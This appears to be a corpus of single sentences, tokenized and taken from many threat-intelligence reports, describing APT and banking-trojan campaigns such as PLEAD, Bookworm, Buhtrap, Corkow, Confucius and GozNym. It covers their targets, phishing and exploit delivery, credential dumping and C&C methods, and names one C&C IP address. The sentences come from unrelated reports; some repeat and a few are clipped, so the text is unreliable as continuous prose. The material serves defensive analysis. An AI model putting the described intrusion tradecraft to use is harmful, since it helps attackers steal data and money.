Binders are delivered by attack vectors ( such as phishing and watering hole attacks ) onto a machine .
Based on the mutexes and domain names of some of their C&C servers , BlackTech 's campaigns are likely designed to steal their target 's technology .
Following their activities and evolving tactics and techniques helped us uncover the proverbial red string of fate that connected three seemingly disparate campaigns : PLEAD , Shrouded Crossbow , and of late , Waterbear .
Active since 2012 , it has so far targeted Taiwanese government agencies and private organizations .
PLEAD uses spear-phishing emails to deliver and install their backdoor , either as an attachment or through links to cloud storage services .
PLEAD also dabbled with a short-lived , fileless version of their malware when it obtained an exploit for a Flash vulnerability ( CVE-2015-5119 ) that was leaked during the Hacking Team breach .
PLEAD also uses CVE-2017-7269 , a buffer overflow vulnerability Microsoft Internet Information Services ( IIS ) 6.0 to compromise the victim 's server .
This campaign , first observed in 2010 , is believed to be operated by a well-funded group given how it appeared to have purchased the source code of the BIFROST backdoor , which the operators enhanced and created other tools from .
Shrouded Crossbow targeted privatized agencies and government contractors as well as enterprises in the consumer electronics , computer , healthcare , and financial industries .
Shrouded Crossbow employs three BIFROST-derived backdoors : BIFROSE , KIVARS , and XBOW .
Like PLEAD , Shrouded Crossbow uses spear-phishing emails with backdoor-laden attachments that utilize the RTLO technique and accompanied by decoy documents .
XBOW 's capabilities are derived from BIFROSE and KIVARS ; Shrouded Crossbow gets its name from its unique mutex format .
While PLEAD and KIVARS are most likely to be used in first phase attacks , Waterbear can be seen as a secondary backdoor installed after attackers have gained a certain level of privilege .
Recently , the JPCERT published a thorough analysis of the Plead backdoor , which , according to Trend Micro , is used by the cyberespionage group BlackTech .
Despite the fact that the Changing Information Technology Inc. certificate was revoked on July 4 , 2017 , the BlackTech group is still using it to sign their malicious tools .
The BlackTech group is primarily focused on cyberespionage in Asia .
The new activity described in this blogpost was detected by ESET in Taiwan , where the Plead malware has always been most actively deployed .
Attackers are targeting Windows platform and aiming at government institutions as well as big companies in Colombia .
Attackers like to use spear-fishing email with password protected RAR attachment to avoid being detected by the email gateway .
The first sample being captured was in April 2018 and since that we observed a lot more related ones .
After performing investigations on the classified victims , we find the attacker targets big companies and government agencies in Colombia .
After monitoring and correlating the APT attack , 360 Threat Intelligence Center discovered multiple related emails to attack Colombian government agencies , financial institutions and large enterprises .
The oldest sample we've seen up to now is from November 2013 .
One of the top targets is the Japan Pension Service , but the list of targeted industries includes government and government agencies , local governments , public interest groups , universities , banks , financial services , energy and so on .
However , the attack is different in two respects : unlike other APTs , the main focus of Blue Termite is to attack Japanese organizations ; and most of their C2s are located in Japan .
Originally , the main infection vector of Blue Termite was spear-phishing emails .
Kaspersky Lab has detected a new method of first infection that uses a drive-by-download with a flash exploit ( CVE-2015-5119 , the one leaked from The Hacking Team incident ) .
Kaspersky Lab also found some watering hole attacks , including one on a website belonging to a prominent member of the Japanese government .
In early July 2015 , however , Kaspersky Lab found a sample that creates a decryption key with Salt1 , Salt2 , and Salt3 .
From early June , when the cyber-attack on the Japan Pension Service started to be reported widely , various Japanese organizations would have started to deploy protection measures .
It employs AES in addition to SID tricks , making it difficult to decrypt sensitive data .
In order to fight back against this cyber-espionage , Kaspersky Lab will continue its research .
Bookworm 's functional code is radically different from PlugX and has a rather unique modular architecture that warranted additional analysis by Unit 42 .
Bookworm has little malicious functionality built-in , with its only core ability involving stealing keystrokes and clipboard contents .
The Plead malware is a backdoor which , according to Trend Micro , is used by the BlackTech group in targeted attacks .
So far , it appears threat actors have deployed the Bookworm Trojan primarily in attacks on targets in Thailand .
The threat actors use a commercial installation tool called Smart Installer Maker to encapsulate and execute a self-extracting RAR archive and in some cases a decoy slideshow or Flash installation application .
The self-extracting RAR writes a legitimate executable , an actor-created DLL called Loader.dll and a file named readme.txt to the filesystem and then executes the legitimate executable .
targeted attacks .
Using XREFs during static analysis is a common technique to quickly find where functions of interest are called .
The developers designed Bookworm to be a modular Trojan not limited to just the initial architecture of the Trojan , as Bookworm can also load additional modules provided by the C2 server .
Although the developers of Bookworm have included only keylogging functionality in Bookworm as a core ability , as suggested in Table 1 , several of the embedded DLLs provide Leader with cryptographic and hashing functions , while others support Leader 's ability to communicate with its C2 server .
While we did not discuss the surrounding attacks using Bookworm in detail , we have observed threat actors deploying Bookworm primarily in attacks on targets in Thailand .
Also , Bookworm uses a combination of encryption and compression algorithms to obfuscate the traffic between the system and C2 server .
The developers of Bookworm have gone to great lengths to create a modular framework that is very flexible through its ability to run additional modules directly from its C2 server .
Unit 42 recently published a blog on a newly identified Trojan called Bookworm , which discussed the architecture and capabilities of the malware and alluded to Thailand being the focus of the threat actors' campaigns .
Leader is Bookworm 's main module and controls all of the activities of the Trojan , but relies on the additional DLLs to provide specific functionality .
The developers of Bookworm use these modules in a rather unique way , as the other embedded DLLs provide API functions for Leader to carry out its tasks .
Unit 42 does not have detailed targeting information for all known Bookworm samples , but we are aware of attempted attacks on at least two branches of government in Thailand .
We speculate that other attacks delivering Bookworm were also targeting organizations in Thailand based on the contents of the associated decoys documents , as well as several of the dynamic DNS domain names used to host C2 servers that contain the words " Thai " or " Thailand " .
We believe that it is likely threat actors will continue development Bookworm , and will continue to use it for the foreseeable future .
Threat actors have delivered Bookworm as a payload in attacks on targets in Thailand .
Analysis of compromised systems seen communicating with Bookworm C2 servers also confirms our speculation on targeting with a majority of systems existing within Thailand .
As mentioned in our previous blog on Bookworm , the Trojan sends a static date string to the C2 server that we referred to as a campaign code .
We believed that the actors would use this date code to track their attack campaigns ; however , after continued analysis of the malware , we think these static dates could also be a build identifier for the Trojan .
Threat actors may use the date string hardcoded into each Bookworm sample as a build identifier .
A Trojan sending a build identifier to its C2 server is quite common , as it notifies the threat actors of the specific version of the Trojan in which they are interacting .
Due to these changes without a new date string , we believe the date codes are used for campaign tracking rather than a Bookworm build identifier .
We believe that Bookworm samples use the static date string as campaign codes , which we used to determine the approximate date of each attack that we did not have detailed targeting information .
Another decoy slideshow associated with the Bookworm attack campaign contains photos of an event called Bike for Dad 2015 .
The campaign code " 20150920 " is associated with this decoy , which is a week prior to media articles announcing that the Crown Price of Thailand Maha Vajiralongkorn will lead the Bike for Dad 2015 event .
Chitpas is heavily involved with Thailand politics and was a core leader of the People's Committee for Absolute Democracy ( PCAD ) , which is an organization that staged anti-government campaigns in 2013 and 2014 .
The final remaining known decoy includes photos of Chitpas Tant Kridakon ( Figure 7 ) , who is known as heiress to the largest brewery in Thailand .
These images were associated with the Bookworm campaign code " 20150905 " .
Unit 42 analyzed the systems communicating with the Bookworm C2 domains and found that a majority of the IP addresses existed within autonomous systems ( ASN ) located in Thailand .
The pie chart in Figure 8 shows that the vast majority ( 73% ) of the hosts are geographically located in Thailand , which matches the known targeting of this threat group .
We believe that the IP addresses from Canada , Russia and Norway are analysis systems of antivirus companies or security researchers .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Overall , the Bookworm infrastructure overlaps with the infrastructure hosting C2 servers used by various attack tools , including FFRAT , Poison Ivy , PlugX , and others .
Unit 42 enumerated the threat infrastructure related to Bookworm and created a chart to visualize connected entities to its current attack campaign .
Threat actors have targeted the government of Thailand and delivered the newly discovered Bookworm Trojan since July 2015 .
The actors appear to follow a set playbook , as the observed TTPs are fairly static within each attack in this campaign .
So far , Unit 42 has seen infrastructure overlaps with servers hosting C2 servers for samples of the FFRAT , PlugX , Poison Ivy and Scieron Trojans , suggesting that the threat actors use these tools as the payload in their attacks .
The threat actors have continually used Flash Player installers and Flash slideshows for decoys .
The vast majority of systems communicating with Bookworm C2 servers are within the Bangkok metropolitan area where a majority of the government of Thailand exists .
Buhtrap has been active since 2014 , however their first attacks against financial institutions were only detected in August 2015 .
At the moment , the group is known to target Russian and Ukrainian banks .
Buhtrap is the first hacker group using a network worm to infect the overall bank infrastructure that significantly increases the difficulty of removing all malicious functions from the network .
Malicious programs intentionally scan for machines with an automated Bank-Customer system of the Central bank of Russia ( further referred to as BCS CBR ) .
If the document was delivered with macros instead of exploits ( CVE-2012-0158 , CVE-2013-3906 or CVE-2014-1761 ) , then the document contained instructions for enabling macros .
We noticed that criminals were spreading Buhtrap using this method from May 2015 to August 2015 .
It is worth noting that attackers used the same compromised websites to spread Buhtrap as those that had been used for the Corkow Trojan .
Moreover , they used the same exploit kit Niteris as that in the Corkow case .
Purportedly during one of the first attacks hackers intercepted the mailing list of the Anti-drop " club and created a specific phishing email for its members .
However , it is still widely used , notably in Russia .
As noted in our previous blog on Buhtrap , this gang has been actively targeting Russian businesses , mostly through spear-phishing .
It is thus interesting to see Buhtrap add strategic web compromises to their arsenal .
The first malware we saw was the lurk downloader , which was distributed on October 26th .
The executable would install the real Ammyy product , but would also launch a file called either AmmyyService.exe or AmmyySvc.exe which contained the malicious payload .
Buhtrap is getting better at disguising the code they inject into compromised websites .
With the recent arrests of actors using the Lurk banking trojan , Buhtrap appears to be a likely alternative for actors wishing to target Russian banks and software .
They have different functions and ways of spreading , but the same purpose — to steal money from the accounts of businesses .
Our experts have found that cybercriminals are actively focusing on SMBs , and giving particular attention to accountants .
The first encounter with Buhtrap was registered back in 2014 .
For now , we can call RTM one of the most active financial Trojans .
At that time it was the name of a cybercriminal group that was stealing money from Russian financial establishments — to the tune of at least $150,000 per hit .
Buhtrap resurfaced in the beginning of 2017 in the TwoBee campaign , where it served primarily as means of malware delivery .
After the source codes of their tools became public in 2016 , the name Buhtrap was used for the financial Trojan .
Just like last time , Buhtrap is spreading through exploits embedded in news outlets .
Estimating the damages is challenging , but as we learned , the criminals are siphoning off assets in transactions that do not exceed $15,000 each .
As explained later , we believe this campaign is financially-motivated and that it targets accounting departments in Russian businesses .
" Buhgalter " means " accountant " in Russian .
Seeing a campaign like this , inevitably the Anunak/Carbanak documented by Fox-IT and Kaspersky comes to mind .
The infection vector is similar , it uses a similar modified mimikatz application , and it uses a third-party remote access tool , changes system settings to allow concurrent RDP sessions , and so on .
The second , aptly titled " kontrakt87.doc " , copies a generic telecommunications service contract from MegaFon , a large Russian mobile phone operator .
In addition to built-in functionalities , the operators of Careto can upload additional modules which can perform any malicious task .
Careto 's Mask campaign we discovered relies on spear-phishing e-mails with links to a malicious website .
Sometimes , the attackers use sub-domains on the exploit websites , to make them seem more legitimate .
These sub-domains simulate sub-sections of the main newspapers in Spain plus some international ones like the Guardian and the Washington Post .
The CVE-2012-0773 was originally discovered by VUPEN and has an interesting story .
In other words , the attackers attracted our attention by attempting to exploit Kaspersky Lab products .
We initially became aware of Careto when we observed attempts to exploit a vulnerability in our products to make the malware " invisible " in the system .
Most modules were created in 2012 .
The attackers began taking them offline in January 2014 .
Last week we discussed Numbered Panda , a group that is also based out of China and is fairly well known to the security community , though by many names .
We revealed a Chinese-based adversary we crypt as Anchor Panda , a group with very specific tactics , techniques , and procedures ( TTPs ) and a keen interest in maritime operations and naval and aerospace technology .
The campaign was active until January 2014 , but during our investigations the C&C servers were shut down .
This week we are going to discuss Clever Kitten , whom , by virtue of several indicators , we have affiliated with the Islamic Republic of Iran .
Clever Kitten has moved to leveraging strategic web compromises .
Clever Kitten actors have a strong affinity for PHP server-side attacks to make access ; this is relatively unique amongst targeted attackers who often favor targeting a specific individual at a specific organization using social engineering .
Clever Kitten primarily targets global companies with strategic importance to countries that are contrary to Iranian interests .
A Clever Kitten attack starts with the use of a web vulnerability scanner to conduct reconnaissance .
The scanner was identified as the Acunetix Web Vulnerability Scanner which is a commercial penetration testing tool that is readily available as a 14-day trial .
Once an exploitable page is identified , Clever Kitten will attempt to upload a PHP backdoor to gain remote access to the system .
The reason for this is likely the availability of exploits against web browsers , which for a variety of reasons allows an attacker to bypass security features such as Data Execution Prevention ( DEP ) or Address Space Layout Randomization ( ASLR ) .
Once an exploitable page is identified , the actor will attempt to upload a PHP backdoor to gain remote access to the system .
In Clever Kitten 's attacks , the goal is lateral movement ; this is an attempt to move further into the target environment in order to begin intelligence collection .
This activity is a longer tail for the actor than a spearphish ; this is likely based on the Clever Kitten background , which may be focused on web development/application testing .
Without going too deep into the rabbit hole , there are several indicators pointing to an Iranian nexus , including language artifacts in the tool-marks used by the attacker , as well as network activity tying this actor to a very specific location that we have high confidence in not being spoofed .
Clever Kitten 's goal is to eventually be able to masquerade as a legitimate user by compromising credentials either through a pass-the-hash attack , or by dumping password hashes from a compromised host .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries are also targeted .
There are new TTPs used in this attack – for example Agent_Drable is leveraging the Django python framework for command and control infrastructure , the technical details of which are outlined later in the blog .
n summary , Cold River is a sophisticated threat actor making malicious use of DNS tunneling for command and control activities , compelling lure documents , and previously unknown implants .
Some of the exploit server paths contain modules that appear to have been designed to infect Linux computers , but we have not yet located the Linux backdoor .
The campaign targets Middle Eastern organizations largely from the Lebanon and United Arab Emirates , though , Indian and Canadian companies with interests in those Middle Eastern countries may have also been targeted .
The decoy documents used by the InPage exploits suggest that the targets are likely to be politically or militarily motivated .
The use of InPage as an attack vector is not commonly seen , with the only previously noted attacks being documented by Kaspersky in late 2016 .
The decoy documents dropped suggest that the targets are likely to be politically or militarily motivated , with subjects such as Intelligence reports and political situations being used as lure documents .
While documents designed to exploit the InPage software are rare , they are not new – however in recent weeks Unit42 has observed numerous InPage exploits leveraging similar shellcode , suggesting continued use of the exploit previously discussed by Kaspersky .
Confucius targeted a particular set of individuals in South Asian countries , such as military personnel and businessmen , among others .
Tweety Chat 's Android version can record audio , too .
Confucius' operations include deploying bespoke backdoors and stealing files from their victim 's systems with tailored file stealers , some of which bore resemblances to Patchwork 's .
Compared to Patchwork , whose Trojanized documents exploit at least five security flaws , Confucius' backdoors are delivered through Office files exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
Back in February , we noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
Back in February , Trend Micro noted the similarities between the Patchwork and Confucius groups and found that , in addition to the similarities in their malware code , both groups primarily went after targets in South Asia .
One of its file stealers , swissknife2 , abuses a cloud storage service as a repository of exfiltrated files .
During the months that followed in which we tracked Confucius' activities , we found that they were still aiming for Pakistani targets .
During their previous campaign , we found Confucius using fake romance websites to entice victims into installing malicious Android applications .
Periodically , the malware tries to contact the Command-and-Control ( C&C ) server with the username encoded into parameters .
This function is similar to the various versions of backdoors ( such as sctrls and sip_telephone ) that we analyzed in our previous blog post and whitepaper .
This algorithm was previously discussed by security researchers in a Confucius-related blog post .
Lately , Patchwork has been sending multiple RTF files exploiting CVE-2017-8570 .
The group still uses the Badnews malware , a backdoor with information-stealing and file-executing capabilities , albeit updated with a slight modification in the encryption routine at the end of 2017 , when they added Blowfish encryption on top of their custom encryption described in our former Patchwork blogpost .
Threat actors like Confucius and Patchwork are known for their large arsenal of tools and ever-evolving techniques that can render traditional security solutions — which are often not designed to handle the persistent and sophisticated threats detailed in this blog — ineffective .
The reality is that IT departments of small to large-sized organizations are not equipped to handle the more advanced threats that groups like Confucius use in their attacks .
Patchwork uses email as an entry point , which is why securing the email gateway is important .
This blog post examines two similar malware families that utilize the aforementioned technique to abuse legitimate websites , their connections to each other , and their connections to known espionage campaigns .
In order to increase the likelihood of their malware successfully communicating home , cyber espionage threat actors are increasingly abusing legitimate web services , in lieu of DNS lookups to retrieve a command and control address .
In 2013 , Rapid7 reported on a series of relatively amateur attacks against Pakistani targets .
The first of which we call ' CONFUCIUS_A ' , a malware family that has links to a series of attacks associated with a backdoor attack method commonly known as SNEEPY ( aka ByeByeShell ) first reported by Rapid7 in 2013 .
At first glance CONFUCIUS_B looks very similar to CONFUCIUS_A , and they are also packaged in plain SFX binary files .
The CONFUCIUS_B executable is disguised as a PowerPoint presentation , using a Right-To-Left-Override ( RTLO ) trick and a false icon .
We also believe that both clusters of activity have links to attacks with likely Indian origins , the CONFUCIUS_A attacks are linked to the use of SNEEPY/BYEBYESHELL and the CONFUCIUS_B have a loose link to Hangover .
The two malware families themselves are also very similar , and therefore we think that the shared technique is an indication of a single developer , or development company , behind both CONFUCIUS_A and CONFUCIUS_B .
In this blog post , we discussed two separate malware variations that behave in very similar ways and use similar techniques to acquire a C2 address , with both using Yahoo Answers and Quora to evade traditional mechanisms for blocking command and control domains .
The Android version , for instance , can steal SMS messages , accounts , contacts , and files , as well as record audio .
Confucius' backdoors are delivered through Office documents exploiting memory corruption vulnerabilities CVE-2015-1641 and CVE-2017-11882 .
We dove deeper into Confucius' operations—namely , the malware-ridden documents , backdoors , and file stealers they use in their campaigns .
The sctrls backdoor we came across is delivered via RTF files exploiting CVE-2015-1641 .
The documents that exploit CVE2017-11882 download another payload — an HTML Application ( HTA ) file toting a malicious Visual Basic ( VBS ) script — from the server , which is executed accordingly by the command-line tool mshta.exe .
In August 2015 a new incident related to the Corkow ( Metel ) Trojan was detected .
Corkow provided remote access to the ITS-Broker system terminal by 《 Platforma soft 》 Ltd , which enabled the fraud to be committed .
According to our statistics , as of the beginning of 2015 this botnet encompassed over 250 000 infected devices worldwide including infecting more than 100 financial institutions with 80% of them from the top 20 list .
The interest among hackers in targeting trading systems is expected to grow .
Russian-speaking hackers are believed to be responsible for these attacks and used the Corkow Trojan .
Hackers target primarily companies in Russia and CIS countries , though it is noticed that the amount of attacks targeting the USA has increased 5 times since 2011 .
One of the first botnets specializing in targeting the trading software called Quik was " Ranbyus " , created in 2012 .
As of the Group-IB investigation of this malware program in March 2015 , Corkow v.7.118.1.1 had not been detected by a single antivirus program .
Hackers gained access to a computer in the trading system in September 2014 .
Starting in December 2014 , the criminal group began running keyloggers in the infected system .
To spread the Corkow malware criminals use a drive-by downloads method , when victims are infected while visiting compromised legitimate websites .
Group-IB specialists detected various sites used by criminals to spread the Trojan : mail tracking websites , news portals , electronic books , computer graphics resources , music portals , etc .
Hackers use the exploits " Nitris Exploit Kit " ( earlier known as CottonCastle ) , which is not available in open sources and sold only to trusted users .
Group-IB Bot-trek TDS sensors are in place at a number of financial institutions and , unfortunately , we register that currently Corkow malware is present on 80% of protected corporate systems .
Considering the Trojan delivery method and through our analysis of infections on banks' networks , we can confirm that all infections were conducted on a random basis .
According to statistics , Corkow primarily targets users in Russia and the CIS , but it is worth noting that in 2014 the amount of attacks targeting the USA increased by 5 times , in comparison with 2011 .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Moreover , the number of Corkow incidents detected in Q1 2015 in the United States exceeds the number of those in the CIS countries .
Hackers first actively spread bots using the Niteris exploit , and then search for infected devices at banks amongst their bots by analyzing IP addresses , cracked passwords and results of the modules performance .
In addition to the legitimate AmmyAdmin tool , the hackers used Visconti Backdoor developed based on legitimate RMS ( remote manipulator system ) software .
If a bot was installed on a network that was of interest to the hacking group , this bot was then used to upload one of the remote access programs .
To obtain logins and passwords they applied keyloggers built into Corkow , as well as a commonly used feature of Mimikatz , dumping clear text Windows credentials from LSA .
Hackers used the remote access to detect servers of their interest in the internal network .
In 2015 , the Metel gang began to target banks and financial institutions directly .
Metel is a banking Trojan ( also known as Corkow ) discovered in 2011 when it was used to attack users of online banking services .
After the infection stage , criminals move laterally with the help of legitimate and pentesting tools , stealing passwords from their initial victims ( entry point ) to gain access to the computers within the organization that have access to money transactions .
With this level of access , the gang has been able to pull off a clever trick by automating the rollback of ATM transactions .
COVELLITE operates globally with targets primarily in Europe , East Asia , and North America .
US targets emerged in September 2017 with a small , targeted phishing campaign directed at select U.S. electric companies .
LAZARUS GROUP is responsible for attacks ranging from the 2014 attack on Sony Pictures to a number of Bitcoin heists in 2017 .
Technical analysis of COVELLITE malware indicates an evolution from known LAZARUS toolkits .
COVELLITE remains active but appears to have abandoned North American targets , with indications of activity in Europe and East Asia .
Given the group 's specific interest in infrastructure operations , rapidly improving capabilities , and history of aggressive targeting , Dragos considers this group a primary threat to the ICS industry .
Delivering a backdoor and spyware , this campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
Lookout researchers have discovered a new mobile surveillanceware family , FrozenCell .
The threat is likely targeting employees of various Palestinian government agencies , security services , Palestinian students , and those affiliated with the Fatah political party .
Delivering a backdoor and spyware , Desert Falcons 's campaign was designed to steal information from infected systems using a malware client capable of filtering out " uninteresting " files , and spread primarily via a targeted phishing email usually promising a pornographic video .
FrozenCell is the mobile component of a multi-platform attack we've seen a threat actor known as " Two-tailed Scorpion/APT-C-23 " , use to spy on victims through compromised mobile devices and desktops .
This threat is another proof point that attackers are clearly incorporating the mobile device into their surveillance campaigns as a primary attack vector .
Desert Falcons is keenly aware of the information they can derive from these devices and are using multi-stage ( phishing + an executable ) , multi-platform ( Android + desktop ) attacks to accomplish their spying .
FrozenCell masquerades as fake updates to chat applications like Facebook , WhatsApp , Messenger , LINE , and LoveChat .
For example , the actors behind FrozenCell used a spoofed app called Tawjihi 2016 , which Jordanian or Palestinian students would ordinarily use during their general secondary examination .
It appears the Desert Falcons sent malicious executables though phishing campaigns impersonating individuals associated with the Palestinian Security Services , the General Directorate of Civil Defence - Ministry of the Interior , and the 7th Fateh Conference of the Palestinian National Liberation Front ( held in late 2016 ) .
The titles and contents of these files suggest that the actor targeted individuals affiliated with these government agencies and the Fatah political party .
We believe that this is a new variant of VAMP , indicating that the threat actors behind APT-C-23 are still active and continuously improving their product .
VAMP targeted various types of data from the phones of victims : images , text messages , contacts , and call history , among others .
Recently , Trend Micro researchers came across a new mobile malware family which we have called GnatSpy .
On Nov. 27 , 2018 , Cisco 's Talos research division published a write-up outlining the contours of a sophisticated cyber espionage campaign it dubbed DNSpionage .
Talos said the perpetrators of DNSpionage were able to steal email and other login credentials from a number of government and private sector entities in Lebanon and the United Arab Emirates by hijacking the DNS servers for these targets , so that all email and virtual private networking ( VPN ) traffic was redirected to an Internet address controlled by the attackers .
Talos reported that these DNS hijacks also paved the way for the attackers to obtain SSL encryption certificates for the targeted domains ( e.g.webmail.finance.gov.lb ) , which allowed them to decrypt the intercepted email and VPN credentials and view them in plain text .
That changed on Jan. 25 , 2019 , when security firm CrowdStrike published a blog post listing virtually every Internet address known to be ( ab )used by the espionage campaign to date .
Working backwards from each Internet address , I was able to see that in the last few months of 2018 the hackers behind DNSpionage succeeded in compromising key components of DNS infrastructure for more than 50 Middle Eastern companies and government agencies , including targets in Albania , Cyprus , Egypt , Iraq , Jordan , Kuwait , Lebanon , Libya , Saudi Arabia and the United Arab Emirates .
PCH is a nonprofit entity based in northern California that also manages significant amounts of the world 's DNS infrastructure , particularly the DNS for more than 500 top-level domains and a number of the Middle East top-level domains targeted by DNSpionage .
This APT group usually carries out target attacks against government agencies to steal sensitive information .
In addition to spreading malware via spear fishing email with Office attachment containing either vulnerability or malicious macro , this group is particularly good at leveraging malicious Android APKs in the target attacks .
We named the actor DustSquad and have provided private intelligence reports to our customers on four of their campaigns involving custom Android and Windows malware .
In this blogpost we cover a malicious program for Windows called Octopus that mostly targets diplomatic entities .
We also started monitoring the malware and , using Kaspersky Attribution Engine based on similarity algorithms , discovered that Octopus is related to DustSquad , something we reported in April 2018 .
From early 2014 until December 2018 , ns0.idm.net.lb pointed to 194.126.10.18 , which appropriately enough is an Internet address based in Lebanon .
Kaspersky Lab products detect the Octopus Trojan as Trojan.Win32.Octopus.gen .
Political entities in Central Asia have been targeted throughout 2018 by different actors , including IndigoZebra , Sofacy ( with Zebrocy malware ) and most recently by DustSquad ( with Octopus malware ) .
El Machete is one of these threats that was first publicly disclosed and named by Kaspersky here .
We've found that this group has continued to operate successfully , predominantly in Latin America , since 2014 .
All attackers simply moved to new C2 infrastructure , based largely around dynamic DNS domains , in addition to making minimal changes to the malware in order to evade signature-based detection .
In the case of Octopus , DustSquad used Delphi as their programming language of choice , which is unusual for such an actor .
Targets included a wide array of high-profile entities , including intelligence services , military , utility providers ( telecommunications and power ) , embassies , and government institutions .
Some time ago , a Kaspersky Lab customer in Latin America contacted us to say he had visited China and suspected his machine was infected with an unknown , undetected malware .
It was a targeted attack we are calling " Machete " .
At first look , it pretends to be a Java related application but after a quick analysis , it was obvious this was something more than just a simple Java file .
" Machete " is a targeted attack campaign with Spanish speaking roots .
The decoy slideshows all contain photos from very meaningful events to individuals in Thailand , suggesting that the actors continually look for impactful events to use to disguise their attacks .
In some cases , such as Russia , the target appears to be an embassy from one of the countries of this list .
Both attackers and victims speak Spanish natively , as we see it consistently in the source code of the client side and in the Python code .
We are also grateful to the Private Office of his Holiness the Dalai Lama , the Tibetan Government-in-Exile , the missions of Tibet in London , Brussels , and New York , and Drewla ( a Tibetan NGO ) .
Between June 2008 and March 2009 the Information Warfare Monitor conducted an extensive and exhaustive two-phase investigation focused on allegations of Chinese cyber espionage against the Tibetan community .
These instances of Gh0st RAT are consistently controlled from commercial Internet access accounts located on the island of Hainan , People's Republic of China .
The fieldwork generated extensive data that allowed us to examine Tibetan information security practices , as well as capture real-time evidence of malware that had penetrated Tibetan computer systems .
It is therefore possible that the large percentage of high value targets identified in our analysis of the GhostNet are coincidental , spread by contact between individuals who previously communicated through e-mail .
Where they exist , they often use grey market or pirated software .
Contextually relevant emails are sent to specific targets with attached documents that are packed with exploit code and Trojan horse programmes designed to take advantage of vulnerabilities in software installed on the target 's computer .
GhostNet represents a network of compromised computers resident in high-value political , economic , and media locations spread across numerous countries worldwide .
After that , the attacker is capable to control the compromised device .
The computers of diplomats , military attachés , private assistants , secretaries to Prime Ministers , journalists and others are under the concealed control of unknown assailant (s ) .
The C&C server ( 82.137.255.56 ) used by the above backdoors was used by APT-C-27 ( Goldmouse ) many times since 2017 .
According to 360 Threat Intelligence Center , Goldmouse was observed deploying the nebulous njRAT backdoor .
The banking malware GozNym has legs ; only a few weeks after the hybrid Trojan was discovered , it has reportedly spread into Europe and begun plaguing banking customers in Poland with redirection attacks .
The APT group is reportedly targeting the Middle East region .
The malware has started targeting corporate , SMB , investment banking and consumer accounts at banks , including some in Portugal and the U.S. , in addition to Poland , according to researchers at IBM 's X-Force team .
According to Kessem the malware has redirection instructions for 17 banks , and features an additional 230 URLs to assist attackers in targeting community banks and email service providers in Poland .
With GozNym , attackers dupe users by showing them the actual bank 's URL and SSL certificate .
Fresh from targeting banks in Poland , the banking Trojan GozNym has begun taking aim at banks in Germany .
Attackers went on to use the Trojan to steal $4 million from 24 banks , including 22 in the United States and two in Canada , in just two weeks .
Recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the GozNym group appears up to the task .
The malware is distributed primarily through laced spam emails that lure recipients into opening attachments .
Fresh from targeting banks in Poland , the banking Trojan has reportedly begun taking aim at banks in Germany .
Now GozNym is now targeting 13 banks and subsidiaries in Germany , Limor Kessem , Executive Security Advisor at IBM , said Tuesday .
he Trojan , a hybrid of Nymaim and Gozi malware , initially formed in April and thrives on carrying out redirection attacks via DNS poisoning .
In April , shortly after the Trojan 's discovery , researchers observed a massive GozNym campaign targeting 24 North American banks .
The method , which technically redirects users through local DNS poisoning , requires a fair bit of work ; recreating and maintaining fake bank sites can be an arduous task , but Kessem claims the group behind GozNym – Nymaim – appear up to the task .
Attackers behind Dyre have used similar tactics in the past but have only deployed their attacks in English speaking countries and Spain .
When we last heard from the Trojan , its operators were seen launching redirection attacks on four large , U.S. banks in June .
The fact that the cybercriminals behind GozNym have already adapted the Trojan for three different languages and in countries which have different banking systems is unique , according to Kessem .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Seeking to tease out any possible links between Operation Aurora , VOHO , Operation DeputyDog , and Ephemeral Hydra , we began with Symantec 's Hidden Lynx report as our foundation .
The authors of that report identify three primary tools used in the campaigns attributed to Hidden Lynx : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
We will detail how the C&C infrastructure and tools used by hacker group Hidden Lynx during its VOHO campaign ( 2012 ) , excellently documented by Symantec researchers last September , overlap with tools used in other high profile operations during the past few years .
When the New York Times and Mandiant last year unmasked a large scale Chinese hacking operation , pinpointing its location down to the building , the report drew mainstream attention to what security professionals already well knew : sophisticated threat actors carry out persistent cyber operations over months and years .
By the end of April , GozNym had redirection instructions for 17 Polish banks in its repertoire , along with an extra 230 URLs designed to assist attackers in targeting community banks and email service providers in the Eastern European country .
Using Recorded Future , we quickly built a timeline of the reported use of those tools in major security incidents , finding many events prior to the early 2013 exposé on Hidden Lynx .
In particular , FireEye during the fall of 2013 called out infrastructure overlap between Ephemeral Hydra and DeputyDog .
The above network shows relationships between three tools used by Hidden Lynx during its VOHO campaign : Trojan.Naid , Backdoor.Moudoor , and Backdoor.Hikit .
Symantec during 2012 linked the Elderwood Project to Operation Aurora ; Trojan.Naid and Backdoor.Moudoor were also used in Aurora , by the Elderwood Gang , and by Hidden Lynx .
In addition to these , we also identified " Macfog " , a native Mac OS X implementation of Icefog that infected several hundred victims worldwide .
Icefog , also known as the " Dagger Panda " by Crowdstrike 's naming convention , infected targets mainly in South Korea and Japan .
In 2013 , a public report reveals a group of actors conducted targeted attacks leverage a malware dubbed ICEFOG against mainly government organizations and defense industry of South Korea and Japan .
Similar to our approach with Symantec 's report on Hidden Lynx , we used Recorded Future to organize the technical details about the DeputyDog attacks to reveal technical information described in the open source reporting across multiple campaigns .
With Javafog , we are turning yet another page in the Icefog story by discovering another generation of backdoors used by the attackers .
Since January 2013 , we've been on the lookout for a possible RedOctober comeback .
One possible hit was triggered when we observed Mevade , an unusual piece of malware that appeared late in 2013 .
In August 2014 , some of our users observed targeted attacks with a variation of CVE-2012-0158 and an unusual set of malware .
It wasn't until August 2014 that we observed something which made us wonder if RedOctober is back for good .
The Cloud Atlas implants utilize a rather unusual C&C mechanism .
We named it RedOctober because we started this investigation in October 2012 , an unusually hot month .
The attackers upload data to the account , which is downloaded by the implant , decrypted and interpreted .
